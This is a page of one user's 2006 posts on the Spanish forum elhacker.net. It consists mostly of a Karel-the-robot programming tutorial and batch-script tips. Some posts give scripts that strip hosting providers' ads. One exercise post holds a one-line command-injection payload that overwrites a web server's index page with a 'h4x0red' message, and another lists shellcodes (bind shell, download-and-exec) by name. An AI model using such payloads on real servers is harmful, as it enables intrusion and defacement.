elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 ... 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 [176] 177 178 179 180 181
1751  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Para el Señor el brujo!. en: 11 Junio 2006, 04:49 am
del 5 de junio hay este tuyo en papelera
Citar
122     Papelera / Y esto porque?    en: 05 Junio 2006, 19:23

una de las reglas del foro es no dar informacion de terceros, ahi dejas la IP.
otra es colocar un titulo correspondiente a la duda.
y por ultimo, tu pregunta sinceramente no tiene razon de ser, preguntas porque aparece la shell en un directorio, la respuesta la puedes deducir tu mismo, es porque el programa que crea la shell, esta en ese directorio.

desconozco quien borro el mensaje, y el porque pudo haber sido de las razones anteriores, escoge la que quieras, respecto a notificarte por MP, a menos que se lo pidas directamente al moderador, y el moderador acepte lo hara, sino no..

Saludos!!
1752  Programación / Desarrollo Web / Re: Eliminar la publicidad de servidores gratuitos. en: 7 Junio 2006, 07:19 am
y si ves en mi mismo mensaje que citaste puse una actualizacion xD!
ya no se ni porque sigo discutiendo contigo..

se supone que estos codigos son validos en todos los navegadores, si no funciona en alguno, porfavor diganme.
una actualizacion mas para mx.geocities.com:

antes de </body>:
Código:
<script>
void(document.getElementsByTagName("div")[0].innerHTML="");
</script>

otra para www.geocities.com:

Código:
<script>
void(top.document.getElementsByTagName("frameset")[0].cols="*,0,0");
</script>

jaja, esto señores es solo publicidad para la gran utilidad  del JaSiDBG, que Crack_X debe dar a conocer pronto :P

Saludos!!
1753  Programación / Desarrollo Web / Re: Eliminar la publicidad de servidores gratuitos. en: 7 Junio 2006, 01:04 am
y sigues sin entender lo que lees xD!
Citar
recopilaciones y todo eso

esta es una recopilacion de codigos para quitar publicidad, :)

Saludos!!

para miarroba actualizo el codigo, antes de </body>
Código:
<script>
void(document.getElementsByTagName("img")[1].onclick());
</script>
1754  Programación / Desarrollo Web / Re: Eliminar la publicidad de servidores gratuitos. en: 6 Junio 2006, 10:27 am
:-\ DISCULPEN ALGUIEN SABE COMO ELIMINAR LA PUBLICIDAD DE WANADOO ¿? tengo mi web alojada en el espacio gratuito que brindan pero creo que su publicidad es bastante excesiva alguien me podra ayudar a decirme como puedo eiliminar esos bastanes pop ups que aparesen
les dejo mi web por si quiern ver como funcionan los POP UPS que aparesen www.clubreggaeton.ar.gs

No revivas post viejos. lee esto:

¿Revivir temas o crear nuevos?
http://foro.elhacker.net/index.php/topic,123796.0.html

Mejor abre un tema nuevo porque dudo mucho que en este te ayuden.

Saludetes :P



ING_AMC creo que no leiste bien ese mismo post..

una pekeña actualización para lycos, colocar antes de </body> funciona en todos los navegadores :P
Código:
<!--EMPIEZA CODIGO ANTIPUBLICIDAD-->
<script>
window.onload=new function(){void(0)};
window.onerror=new function(){void(0)};
var w = document.documentElement.innerHTML;
var xZZ = w.split("ne"+"w Function(\"if (")[1].split("{")[1].split("(")[0];
eval("function "+xZZ+"(){void(0);}");
</script>
<xml>
<iframe height=1 width=1 frameborder=0 style='position:absolute; background:transparent; background-color:transparent;'>
<noscript>
<textarea>
<!--TERMINA CODIGO ANTIPUBLICIDAD-->
1755  Informática / Tutoriales - Documentación / Re: TUTORIAL PROGRAMACION BAT en: 6 Junio 2006, 06:55 am
bueno urtxiak se masomenos como hacerlo pero solo en el directorio actual y debes aprender a usar error level y recompilacion de batch.. pero segun yo es posible..

aunque ademas de posible es complicado xD!
busca informacion sobre:
"choice"
"errorlevel"
y el uso de "<>" para redireccionar entrada y salida de acciones de programas..

Saludos!!
1756  Programación / Ejercicios / Re: Aprendiendo NO a programar, sino a pensar como programador. en: 20 Abril 2006, 04:05 am
Pues este programa Karel, soporta Java, le llama "Jarel", JavaKara solo hay info en Aleman, :-/

Bueno, la sesión anterior fue una introducción al programa y al lenguaje, sinembargo creanme que eso es todo lo que sabe la mayoria de los que usan Karel, y es solo la superficie de sus capacidades.

Karel no puede hacer algo como y=((f^p)+7)/q es decir, no soporta signos ni operaciones.. lo que vieron la ves pasada es el 90% de su capacidad.

Sin embargo, hay maneras de elevar un numero al cuadrado, de sumar, de restar, de dividir etcetera..

por ejemplo, sumar.

Debes sumar lo que hay en las coordenadas 1,1 y en 1,2.
Una manera de hacerlo es recogiendo todos los zumbadores en 1,1 y todos en 1,2 y despues dejarlos.

es decir, suponiendo que Karel ya esta en 1,1 y viendo al norte.

Código:
mientras junto-a-zumbador hacer coge-zumbador; (* Coge todos los zumbadores en 1,1*)
repetir 3 veces gira-ziquierda;  (*giro a la derecha*)
avanza; (*avanzo*)
mientras junto-a-zumbador hacer coge-zumbador; (*cogo todos los zumbadores en 1,2*)
repetir 2 veces gira-izquierda; (*media-vuleta*)
avanza; (*avanzo*)
mientras algun-zumbador-en-la-mochila hacer deja-zumbador; (*dejo todos los zumbadores*)

esa es la forma mas sencilla, sinmebargo si les digo que deben dejar los zumbadores donde estaban, es decir:

Karel esta originalmente orientado al sur en 1,1 y tiene infinitos zumbadores en la mochila, debes colocar en 1,4 la suma de la cantidad de zumbadores en 1,2 mas 1,3 dejando los sumandos donde estan al finalizar la ejecución.

Hay otras miles de maneras de hacerlo, se podria hacer una funcion que copie los valores arriba, y despues los baje etc..

Pero hoy les voy a enseñar recursividad y paso de variables.

les pondre el código completo, pero lo voy a explicar mas abajo.

Código:
iniciar-programa

define-nueva-instruccion suma(s) como inicio
    si junto-a-zumbador entonces inicio
        coge-zumbador;
        suma(sucede(s));
        deja-zumbador;
    fin sino inicio
        repetir 2 veces gira-izquierda;
        mientras frente-libre hacer avanza;
        repetir 2 veces gira-izquierda;
        repetir 3 veces avanza;
        repetir s veces deja-zumbador;
        repetir 2 veces gira-izquierda;
        mientras junto-a-zumbador hacer avanza;
        repetir 2 veces gira-izquierda;
    fin;
fin;

    inicia-ejecucion
        mientras no-orientado-al-este hacer gira-izquierda;
        avanza;
        suma(0);
        avanza;
        suma(0);
        apagate;
    termina-ejecucion
finalizar-programa

Antes de explicar el código necesito explicar como funciona la recursividad de funciones.

miren:

Citar
define-nueva-instruccion [nombre] como  inicio
   si [condicion de salida inversa] entonces
       acciones a ejecutar
       [llamada a la misma funcion]
       acciones a ejecutar despues al final, la cantidad de veces que la funcion fue llamada
   fin;
fin;

es decir, en este ejemplo:

Código:
define-nueva-instruccion karel como inicio
    si junto-a-zumbador entonces inicio
       coge-zumbador;
       avanza;
       deja-zumbador;
       gira-izquierda;gira-izquierda;
       avanza;
       gira-izquierda;gira-izquierda;
       karel;
       deja-zumbador;
    fin;
fin;

se copia el numero de zumbadores en el espacio de adelante.

veamos porque..

Código:
define-nueva-instruccion karel como inicio
creamos la función.

Código:
    si junto-a-zumbador entonces inicio
esta es nuestra condición de salida, es decir la recursividad (llamada a una funcion dentro de su misma) solo se ejecuta mientras esta condición sea verdadera.

Código:
       coge-zumbador;
       avanza;
       deja-zumbador;
       gira-izquierda;gira-izquierda;
       avanza;
       gira-izquierda;gira-izquierda;
esto es la sección donde coge el zumbador, lo deja adelante, y regresa a la posición original.

Código:
       karel;
aqui esta la llamada a si misma.

Código:
       deja-zumbador;
y esto es lo que va a hacer por cada zumbador que tomo, es decir dejar otro en su lugar.

en otras palabras, lo que hace es:

Código:
si hay zumbadores
 agarro uno
 lo pongo adelante
 denuevo lo mismo X veces
 dejo X zumbadores.
fin


para que lo vean mas claro, les pongo los colores..

Citar
define-nueva-instruccion karel como inicio
    si junto-a-zumbador entonces inicio
       coge-zumbador;
       avanza;
       deja-zumbador;
       gira-izquierda;gira-izquierda;
       avanza;
       gira-izquierda;gira-izquierda;

       karel;
       deja-zumbador;
    fin;
fin;

y para los que aun no entienden, por ejemplo si hay 2 zumbadores el codigo que ejecuta el programa realmente es este (sustituyo la llamada a karel por el codigo del mismo).

Código:
define-nueva-instruccion karel como inicio
    si junto-a-zumbador entonces inicio
       coge-zumbador;
       avanza;
       deja-zumbador;
       gira-izquierda;gira-izquierda;
       avanza;
       gira-izquierda;gira-izquierda;
           si junto-a-zumbador entonces inicio (*ESTA ES LA MISMA FUNCION OTRA VEZ*)
                coge-zumbador;
                avanza;
                deja-zumbador;
                gira-izquierda;gira-izquierda;
                avanza;
                gira-izquierda;gira-izquierda;
                si junto-a-zumbador entonces inicio
                    (*AQUI LA CONDICION YA NO SE CUMPLE*)
                fin;
                deja-zumbador;
           fin; (*AQUI TERMINA*)
       deja-zumbador;
    fin;
fin;

en fin, les he explicado de 3 maneras distintas la teoria de recursividad.

si aun no entienden, haber si me entienden este otro ejemplo:


Citar
define-nueva-instruccion ve-arriba como inicio
     si no-orientado-al-norte entonces inicio
          gira-izquierda;
          ve-arriba;
     fin;
fin;

este código girara a la izquierda hasta que este no se cumpla: "no-orientado-al-norte" es decir, girará: "mientras no-orientado-al-norte"

Espero me hayan entendido.. sino mandenme un MP y de tratare de expresar mejor.

Una vez que hayan entendido recursividad.. ya podran entender mejor el codigo.. solo me faltan 2 cosas por explicar.

La primera es.. que diablos es "sucede"

jeje la priemra vez que yo vi esa instrucción no le encontraba sentido..

bueno, aqui esta un ejemplo:

4=sucede(3);
3=sucede(2);

si me entienden? sucede es igual al valor que tiene dentro de los parentesis MAS 1.

bueno, sucede tiene una función heramana, llamada precede.

4=precede(5);
3=precede(4);

precede es igual al valor que tiene dentro de los parentesis MENOS 1.

una cosa mas.

las funciones de Karel pueden recibir parametros, y almacenarlos en variables.

:o
Parametro = dato extra pasado a una funcion
Variable = letra o palabra que almacena un numero. (en karel solo se pueden almacenar numeros)

en fin.

por ejemplo, si creamos una función asi:
Código:
define-nueva-instruccion rec(x) como inicio
     repetir x veces avanza;
fin;
al llamar:
Código:
rec(5);
Karel avanzara 5 posiciones, porque la X vale 5.

Ahora si, ya sabes todo lo necesario para entender el primer código que les puse.

Código:
define-nueva-instruccion suma(s) como inicio
    si junto-a-zumbador entonces inicio
        coge-zumbador;
        suma(sucede(s));
        deja-zumbador;
    fin sino inicio
        repetir 2 veces gira-izquierda;
        mientras frente-libre hacer avanza;
        repetir 2 veces gira-izquierda;
        repetir 3 veces avanza;
        repetir s veces deja-zumbador;
        repetir 2 veces gira-izquierda;
        mientras junto-a-zumbador hacer avanza;
        repetir 2 veces gira-izquierda;
    fin;
fin;

Esa esla función, lo importante es que cuando mandamos llamar la función la mandamos llamar asi:
Código:
suma(0);

es decir inicialmente vale 0.

Bueno, una cosa mas respecto a esta función.

si usas un sino, el codigo que este en la acción del "sino" se ejecutara una sola vez cuando por primera vez no se cumpla la condición.

si no me entendieron, leanlo de nuevo:

si usas un sino, el codigo que este en la acción del "sino" se ejecutara una sola vez cuando por primera vez no se cumpla la condición.

una vez mas:

si usas un sino, el codigo que este en la acción del "sino" se ejecutara una sola vez cuando por primera vez no se cumpla la condición.

relean ese enunciado cuantas veces crean necesario.

ahora analizemos parte por parte el código de la suma.

Citar
define-nueva-instruccion suma(s) como inicio
Bueno, esa es la función.

Citar
si junto-a-zumbador entonces inicio
Esta es la condición de salida, cuando no se cumpla, se terminara de llamar a si misma.

Citar
coge-zumbador;
eso es lo que va a hacer cada vez que coga un zumbador.

Citar
suma(sucede(s));
y aqui es donde se llama la funcion a si misma, solo que esta ves avisa que S va a valer uno mas, de esta forma se va guardando en S la cantidad de zumbadores que había..

Citar
deja-zumbador;
aqui repone los zumbadores que cogió.

Citar
fin sino inicio
recuerdan la linea que deben leer muchas veces hasta entenderla?, si no entiendes que hace esto aqui, leela de nuevo.

Citar
        repetir 2 veces gira-izquierda;
        mientras frente-libre hacer avanza;
        repetir 2 veces gira-izquierda;
        repetir 3 veces avanza;
        repetir s veces deja-zumbador;
        repetir 2 veces gira-izquierda;
        mientras junto-a-zumbador hacer avanza;
        repetir 2 veces gira-izquierda;
Esto lo que hace es ir a la posición 3 dejar lo que valga "S" de zumbadores y regresar.

y al final son 2 "fin;", uno para terminar el "si/sino" y otro para terminar la función.

Pues esto.. fue un ejemplo de recursividad con Karel, y pues ahora ya deberian saber como funciona el 98% de Karel.. nos faltan 2 cosas, extremadamente faciles, y ya es todo lo que te puedo enseñar de Karel, una proxima sesión sera de como resolver problemas que parecen muy complicados.. de la manera mas sencilla posible.

Las 2 cosas que nos faltan son:

una ves que ya recibimos una variable en nuestra función.. digamos que se llama "kora" podemos hacer algunas cosas con ella.

por ejemplo karel puede detectar si kora es igual a 0.

por ejemplo si kora vale 4, etonces en esta instruccion:

Código:
si si-es-cero(kora) entonces inicio
   apagate;
fin sino inicio
   avanza;
fin;

karel avanzara, porque kora no es cero.

¿dificil?

ahora tambien tenemos una cosa mas.

  • NO
  • Y
  • O

Y y O se usan para unir 2 o mas sentencias.

Y regresa Verdadero y se cumplen las 2 condiciones.

O regresa verdadero cuando se cumple alguna de las 2 condiciones.

estas son para modificar las condiciones que vimos al principio del taller.

si-junto-a-zumbador
frente-libre

etc..

por ejemplo podemos poner un "si" asi:

Código:
si junto-a-zumbador y frente-libre entonces ...

o un "mientras" asi:

Código:
mientras junto-a-zumbador o frente-bloqueado hacer ...

o un "si" que te servira para las funciones recursivas:
Código:
si no si-es-cero(precede(kora)) entonces ...

:o
recuerdan que la sintaxis de si es esta:
si [condicion] entonces [accion]

pues entonces la condicion es esta:

no si-es-cero(precede(kora))

es decir..

si kora-1 (precede(kora) = kora-1
es cero (si-es-cero(kora-1))

cuando kora valga 4 entonces

es cero (4-1) ?

nos regresa FALSO.

pero si recuerdan nuestra condición lleva un "no":
si no si-es-cero(precede(kora)) entonces ...

este no lo que hace es cambiar las cosas.. es decir.

FALSO va a regresar verdadero y al revez.. es decir..

en nuestro caso de prueba el "no" convierte el FALSO en VERDADERO..

¿me entendieron?

no FALSO = Verdadero
no Verdadero = FALSO

en fin.. las posibilidades de Karel son ilimitadas.

Ahora, ya son aptos para hacer los ejercicios de Karel que tienen un nivel de dificultad mas grande.. solo necesitan practica y creatividad.

Aqui pueden encontrar ejercicios, les prometo que con practica en Karel, van a poder entender a la perfección puntadores en C, funciones recursivas, y no tendran problemas con arboles estructuras etc.. ya que karel es una version mas basica de eso.

http://www.cimat.mx:88/~amor/Omi/Entrenamiento/index.html

Y ademas cuando lleguen a un lenguaje de alto nivel van a ver todo lo que les sirvio aprender a programar con este robotsito ;)

Esten atentos!!

Saludos!!
1757  Programación / Ejercicios / Tutorial de Karel el robot - Aprendiendo a pensar como programador. en: 19 Abril 2006, 07:24 am
Tutorial de Karel el robot
Les advierto, en este pequeño taller no van a aprender a programar en ningun lenguaje que les servira en el futuro.

Aprenderan la sintaxis de Java y/o de Pascal pero NO aprenderan las instrucciones nativas de ninguno de estos.

En este taller aprenderan a programar a un robot virtual llamado Karel.

Antes que nada yo no hize Karel, ni ayude a su desarrollo, solo lo encontre, lo use y me gusto para hacer este taller.

Karel es un robot, con forma de flecha azul xD
es tonto.
no sabe nada mas que:
 avanza;
 gira-izquierda;

ah y:
 coge-zumbador;
 deja-zumbador;

Bueno, pero tiene buena memoria, y es muy obediente.

Este programa se usa en la OMI y desconozco si se use en la IOI tambien.

En fin, "Karel el robot" (de ahora en adelante Karel) puede recibir las instrucciones antes mencionadas.. y vive en un mundo de cuadritos grises, de 100x100.

Este es un ejemplo de Karel en acción:



Lo pueden descargar aqui:

http://www.olimpiadadeinformatica.org.mx/Karel.htm

Hay otras versiones (las originales) pero en ingles y para java aqui:

http://csis.pace.edu/~bergin/KarelJava2ed/KJRDistribution060110.zip
http://csis.pace.edu/~bergin/KarelJava2ed/kareluniverse/kareluniversedist060309.zip
http://www.wiley.com/college/pattis/0471597252/instructor/karel.exe
http://sourceforge.net/project/showfiles.php?group_id=8696
etc..

En fin, abrimos el programa, nos vamos a la pestaña de Mundo.

En la esquina inferior izquierda, y viendo hacia arriba, se encuentra Karel.

si dan click derecho en una zona blanca, podran ver un menu contextual, donde les preguntan si quieren colocar a Karel en ese lugar, y si quieres poner algun zumbador en ese lugar. si dan click al lado de un cuadro gris, se pondra una pared ;).

en fin.. hagamos un "Hola Mundo" (o su equivalente) en Karel.

ponemos a karel (orientado al norte) en las coordenadas: 2,2 es decir aqui:


Nos vamos a la pestaña de Programa.
damos click en Nuevo.

vamos a ver esto:
Código:
iniciar-programa
    inicia-ejecucion
        apagate;
    termina-ejecucion
finalizar-programa

esto hace:

Código:
inicia el programa
    inicia lo que va a ejecutar
        apaga a karel
    termina lo que va a ejecutar
finaliza el programa

:o facil, no?

Todo lo que queramos que haga karel, lo debemos poner despues de:
inicia-ejecucion
y antes de:
termina-ejecucion

ojo!! NUNCA pero NUNCA pongan acentos.

ahora, si queremos que Karel haga algo, pues empezamos a ordenarle:

Código:
iniciar-programa
    inicia-ejecucion
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa
le agregué una linea al programa.. esta:
Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa

Damos click en el botón COMPILAR.
es muy importante sino no funciona.. acostumbrence a oprimir ese botón, en la gran mayoria de los lenguajes sino es que todos se necesita hacer algo similar antes de ver que hace tu programa.

Una vez que dimos click en COMPILAR. nos vamos a la pestaña de Ejecutar.

Y ahi, al botón Ejecutar.

Genial, Karel avanza un espacio, y se apaga.

Damos Aceptar, y regresamos a la pestaña de Programa.
despues del avanza le agregamos un gira-izquierda;

OJO!! es MUY importante que al finalizar cada instrucción agreguen un "punto y coma" = ";"

El código queda asi:
Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        apagate;
    termina-ejecucion
finalizar-programa


Damos click a COMPILAR!!
Vamos a la pestaña de Ejecución.
Damos Correr.

y listo, Karel:
  avanza y despues gira a la izquierda

regresamos a Programa.

despues del gira-izquierda agregamos 2 avanza;

queda asi:
Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        avanza;
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa


Damos a COMPILAR!!
vamos a la pestaña de Ejecutar
Damos click en Correr.
y Tssss error.



Obviamente Karel es un robot no un fantasma y no puede pasar por una pared.. resultado el programa te salta error.

En fin, lo superamos entonces ahora tenemos que pensar.. diablos y como va a saber karel si tiene enfrente una pared..

pues bueno, existe algo llamado "si", y se usa asi:

si [condicion] entonces [accion]

ahora, las condiciones que puede detectar Karel son:
Citar
frente-libre
junto-a-zumbador
orientado-al-este
frente-bloqueado
no-junto-a-zumbador
orientado-al-oeste
izquierda-libre
algun-zumbador-en-la-mochila
no-orientado-al-norte
izquierda-bloqueada
ningun-zumbador-en-la-mochila
no-orientado-al-sur
derecha-libre
orientado-al-norte
no-orientado-al-este
derecha-bloqueada
orientado-al-sur
no-orientado-al-oeste

de hecho hay alguna que otra mas, pero esas son mas avanzadas.

Es obvio lo que detecta cada condición ¿no?
Citar
frente-libre      - Detecta si el frente esta libre
junto-a-zumbador  - Detecta si esta junto a zumabador
orientado-al-este - Detecta si Karel esta viendo al este
frente-bloqueado  - Detecta si esta bloquado el frente
no-junto-a-zumbador- Detecta si no esta junto a zumbador
etc..

Genial, ahora usemos "si".

Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        avanza;
        si frente-libre entonces avanza;
        apagate;
    termina-ejecucion
finalizar-programa


damos click a COMPILAR!!
Pestaña de Ejecutar, Correr.

Y ya no sale error :)

¿que bien no?

Bueno, ahora coloquen a karel en las coordenadas 7,1
para cambiar de posicion a Karel debes irte a la pestaña Mundo.

Nos regresamos a la pestaña programa.

Ahora nosotros queremos que llegue a las coordenadas 1,1
que hacemos?

facil..
Citar

iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        avanza;
        avanza;
        avanza;
        avanza;
        avanza;
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa


:)

Bien, pero les presento a "repetir":
funciona asi:
repetir [cantidad] veces [accion]
entonces si ponemos:
Citar

iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        repetir 6 veces avanza;
        apagate;
    termina-ejecucion
finalizar-programa


hace lo mismo que el anterior.

Bueno, ahora que tal que te digo, que Karel va a estar en una posicion desconocida, y debes llegar a 1,1.

Bueno les presento a "mientras" funciona parecido a "si":

mientras [condicion] hacer [accion]

y hace que mientras se cumpla la condición, haga la acción :o

asi que lo primero, es ver a la izquierda

Código:
gira-izquierda;

despues mientras tengamos el frente-libre hacer avanza;

Código:
gira-izquierda;
mientras frente-libre hacer avanza;

despues debemos ver hacia abajo, porque no sabemos a que altura este Karel.

Código:
gira-izquierda;

y hacemos lo mismo, buscar la pared.

Código:
mientras frente-libre hacer avanza;

el codigo queda asi:

Código:
iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        mientras frente-libre hacer avanza;
        gira-izquierda;
        mientras frente-libre hacer avanza;
        apagate;
    termina-ejecucion
finalizar-programa

Genial, ahora coloca a Karel en el mundo en cualquier lugar orientado al norte, y veras que llegara a 1,1 ;)

Ahora, si nos dicen:

Haz que Karel llegue a 1,1 sin saber hacia donde esta viendo karel al principio.

es decir, no sabemos si esta viendo al norte,sur,este,oeste..

entonces usamos mientras.

Código:
mientras no-orientado-al-oeste hacer gira-izquierda;

lo que hace es que va a girar a la izquierda mientras no este orientado al oeste.

colocamos esta linea al prinicpio en lugar de el gira-izquierda, y..

Citar

iniciar-programa
    inicia-ejecucion
        mientras no-orientado-al-oeste hacer gira-izquierda;
        mientras frente-libre hacer avanza;
        gira-izquierda;
        mientras frente-libre hacer avanza;
        apagate;
    termina-ejecucion
finalizar-programa


Ok, ahora en el mundo, pon karel orientado en cualquier posición y en cualquier lugar y llegara a 1,1

Bueno, es facil, facil..

Ahora ¿que pasa si en un "si", "mientras" o un "repite" quieres hacer mas de una acción?

Facil, usamos:

inicio
fin;

OJO!! "inicio" NO lleva comilla, "fin;" SI.

todo lo que este entre inicio y fin se tomara como una acción.

ADEMAS.. "si" nos permite jugar aun mas con el.. ya que existe "sino"

funciona asi:


si [condicion] entonces inicio
acciones;
fin sino inicio
acciones2;
fin;


es decir.
si se cumple la condicion haz "acciones" sino se cumple haz "acciones2"

por ejemplo:
Código:
si orientado-al-norte entonces inicio
   avanza;
   gira-izquierda;
fin sino inicio
   repetir 2 veces inicio (*esto es igual a media vuelta*)
     gira-izquierda;
   fin;
fin;

Nota!!
En Karel todo lo que pongas entre "(*" y "*)" no se tomara en cuenta como instruccion.
Es preferible que siempre uses "inicio" y "fin;" sino puedes llegar a tener errores dificiles de encontrar.

Genial ya casi eres un experto en Karel!! (xD)

ahora sigue declarar funciones.

por ejemplo.. Karel NO tiene un gira-derecha;
que mal ¿no?
pues entonces le enseñas a Karel a girar a la derecha

las funciones se crean asi:


define-nueva-instruccion [nombre] como inicio
  [acciones]
fin;


Nota!!
recuerda NUNCA poner acentos.
recuerda PONER los punto y coma;
recuerda ACENTOS estan prohibidos
xD.

es decir para enseñarle a Karel a girar a la derecha, este es el código:

Código:
define-nueva-instruccion gira-derecha como inicio
  repetir 3 veces gira-izquierda;
fin;

¿Estamos de acuerdo que girar a la derecha es igual que girar 3 veces a la izquierda no?

ahora, es muy importante, las funciones NO se ponen despues de inicia ejecucion, se ponen ANTES!!

vean gira-derecha iria aqui:
Citar

iniciar-programa
define-nueva-instruccion gira-derecha como inicio
    repetir 3 veces gira-izquierda;
fin;

    inicia-ejecucion
        gira-derecha;
        apagate;
    termina-ejecucion
finalizar-programa


Para finalizar, Karel sabe hacer 2 cosas mas.

coge-zumbador;
y
deja-zumbador;

el primero, SI esta arriba de un zumbador, lo agarra, si no SALE ERROR, (esto lo compones usando "si" y la condición "junto-a-zumbador")

el segundo, SI tiene algun zumbador en la mochila (lo especificas en el mundo) lo deja si no SALE ERROR.

y.. eso es lo básico de Karel.. veran que no es muy dificil.. pero ahora se supone que con lo que saben, deben hacer ejercicios muy complejos.. no se preocupen no se los dejare hasta que les enseñe recursividad y paso de variables, pero enserio que pueden complicarte MUCHO la vida con este robotito.

En el programa en la Pestaña ayuda esta un pequeño tutorial de Karel donde les explican un poco mas avanzado esto..

Sin embargo deben poder ya con muchos problemas con Karel.

Les dejo algunos ejercicios.

Citar
Karel inicia en las coordenadas 1,1 orientado al norte.
Sobre el inicia un camino de zumbadores hacia arriba, tu debes hacer un programa que se detenga cuando ya no haya zumbadores o al chocar con pared.

Citar
Karel inicia en las coordenadas 2,1 y su orientación es desconocida, en (1-2) hay una pared de una altura desconocida, tu trabajo es hacer un programa que haga que Karel llegue a 1,1

Ejemplo:


Hay mas ejercicios en http://mundodekarel.cjb.net/ y en http://www.olimpiadadeinformatica.org.mx/Karel.htm

sin embargo por el momento solo podrian hacer ejercicios de dificultad baja, en la proxima sesión les pondre programación de Karel avanzada (recursividad, paso de variables, uso de precede y sucede, si-es-cero, etc..)

mientras tanto, si quieren (y si hay alguien que realmente llego hasta aqui.. xD) pongan sus soluciones, y pues suerte!!

Saludos!!
1758  Informática / Tutoriales - Documentación / Re: TUTORIAL PROGRAMACION BAT en: 9 Abril 2006, 06:57 am
Hay muchas maneras de pedir una cadena de texto, la mas facil de pensar es un bucle de "choice 0123456789"

Otra opcion seria hacer un programa con debug que almacenara la variable.. eso esta en la MKDB (http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q77457&)

otra forma seria con caracteres de escape:
Código:
echo ESCRIBE ALGO:
ECHO 
COPY CON USRINPUT.TMP
ECHO 
CLS
ECHO escribiste:
TYPE USRINPUT.TMP

Dependiendo del SO, tambien podrias usar esto:
Código:
FOR /F "tokens=*" %%A IN ('TYPE CON') DO SET INPUT=%%A
ECHO Escribiste: "%INPUT%"

http://www.robvanderwoude.com/index.html

Ahora que si quieres hacer mas grafico tu porgrama, podrias usar algo como esto:
http://my.fcc.net/~tglbatch/input95.html

LastDragon, no existe ninguna funcion como la que dices..

Saludos!!
1759  Seguridad Informática / Bugs y Exploits / Re: <-!-> [>>>> Taller de Introducción a Bugs&Exploits <<<<] (1°) en: 2 Abril 2006, 03:33 am
Solución al RCE en AWS 1.2 por trenIs:
Código:
javascript:self.location="http://localhost:8000/_|echo/^^^<HTML^^^>^^^<H1^^^>h4x0red_by_"+prompt("Como te llamas?","")+">/web/index.htm|type/web/index.htm";
1760  Seguridad Informática / Bugs y Exploits / Re: <-!-> FAQ - Biblioteca - Recopilatorio de Shellcodes - ¡Leer! en: 1 Abril 2006, 06:22 am
Recomiendo lean esto antes:
http://www.firewalls.com.br/files/shellcode.pdf
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
http://en.wikipedia.org/wiki/Shellcode
http://www.google.com/search?q=The+Shellcoders+HandBook

"Generador de shellcodes a la medida"
http://metasploit.com:55555/PAYLOADS

Recopilatorio de Shellcodes:
Windows
<Foro>
Analisis de una shellcode FALSA!!
Crea Admin
Microsoft Internet Explorer IFRAME Tag Overflow Exploit modificado para Reverse Shell por LoReDo & Gospel
Exploit Firewall XP SP2
<Externo (milw0rm)>
Shellcode para BoF's
Shellcode Download & Exec
Bind Shell (58821)
WinExec Shellcode
PoC Shellcode (ventana)

Linux
Agregar Usuario  t00r
execve("/bin/sh")
BindShell (5074)
BindPort y Connectback por ben _
Páginas: 1 ... 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 [176] 177 178 179 180 181
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines